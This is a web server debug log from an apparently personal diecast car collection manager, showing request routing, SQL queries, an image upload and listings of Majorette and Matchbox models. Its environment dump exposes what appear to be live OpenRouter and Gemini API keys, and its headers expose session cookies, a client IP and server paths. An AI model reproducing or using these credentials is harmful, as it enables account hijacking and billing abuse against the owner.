      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: []
    }
  ]
}
2026-02-04T11:02:51.659Z server-connect:router Serving templateView /
2026-02-04T11:02:51.659Z server-connect:app Executing action step identify
2026-02-04T11:02:51.659Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:51.659Z server-connect:output identity: 1
2026-02-04T11:02:51.659Z server-connect:app Executing action step restrict
2026-02-04T11:02:51.659Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:51.660Z server-connect:output restrict: undefined
2026-02-04T11:02:51.660Z server-connect:app Executing action step restrict
2026-02-04T11:02:51.660Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:51.660Z server-connect:output restrict: undefined
2026-02-04T11:02:51.660Z server-connect:router Render template layouts/main
2026-02-04T11:02:51.660Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T11:02:55.077Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:02:55.077Z server-connect:app Executing action step identify
2026-02-04T11:02:55.077Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:55.077Z server-connect:output identity: 1
2026-02-04T11:02:55.077Z server-connect:app Executing action step restrict
2026-02-04T11:02:55.077Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:55.078Z server-connect:output restrict: undefined
2026-02-04T11:02:55.078Z server-connect:app Executing action step condition
2026-02-04T11:02:55.078Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:02:55.078Z server-connect:app Executing action step update
2026-02-04T11:02:55.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:02:55.079Z server-connect:output update: { affected: 1 }
2026-02-04T11:02:55.079Z server-connect:app Executing action step upload
2026-02-04T11:02:55.079Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:02:55.079Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:02:55.079Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:02:55.079Z server-connect:upload Processing file: {
  name: 's-l1600 (7).webp',
  data: <Buffer >,
  size: 88286,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-65-20378841770202975075',
  truncated: false,
  mimetype: 'image/webp',
  md5: '7de2a173ba3e9a6d755dc6bfd26bd846',
  mv: [Function: mv]
}
2026-02-04T11:02:55.079Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp',
  rel: 'public/assets/images/diecast/s-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp'
}
2026-02-04T11:02:55.079Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp',
  rel: 'assets/images/diecast/s-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp'
}
2026-02-04T11:02:55.079Z server-connect:output upload_image: [
  {
    name: 's-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp',
    path: '/public/assets/images/diecast/s-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp',
    url: '/assets/images/diecast/s-l1600_7_b33e5613-0aa9-455d-bdc9-6fe0efa329b2.webp',
    type: 'image/webp',
    size: 88286
  }
]
2026-02-04T11:02:55.079Z server-connect:app Executing action step repeat
2026-02-04T11:02:55.079Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T11:02:55.079Z server-connect:app Executing action step insert
2026-02-04T11:02:55.079Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:55.079Z server-connect:output images: { affected: 1, identity: 216 }
2026-02-04T11:02:55.080Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:02:55.080Z server-connect:output condition: undefined
2026-02-04T11:02:55.291Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:55.292Z server-connect:app Executing action step identify
2026-02-04T11:02:55.292Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:55.292Z server-connect:output identity: 1
2026-02-04T11:02:55.292Z server-connect:app Executing action step restrict
2026-02-04T11:02:55.292Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:55.292Z server-connect:output restrict: undefined
2026-02-04T11:02:55.292Z server-connect:app Executing action step paged
2026-02-04T11:02:55.293Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:55.295Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:03:15.521Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:03:15.521Z server-connect:app Executing action step identify
2026-02-04T11:03:15.522Z server-connect:app options: { provider: 'security' }
2026-02-04T11:03:15.522Z server-connect:output identity: 1
2026-02-04T11:03:15.522Z server-connect:app Executing action step restrict
2026-02-04T11:03:15.522Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:03:15.522Z server-connect:output restrict: undefined
2026-02-04T11:03:15.522Z server-connect:app Executing action step paged
2026-02-04T11:03:15.522Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:03:15.524Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
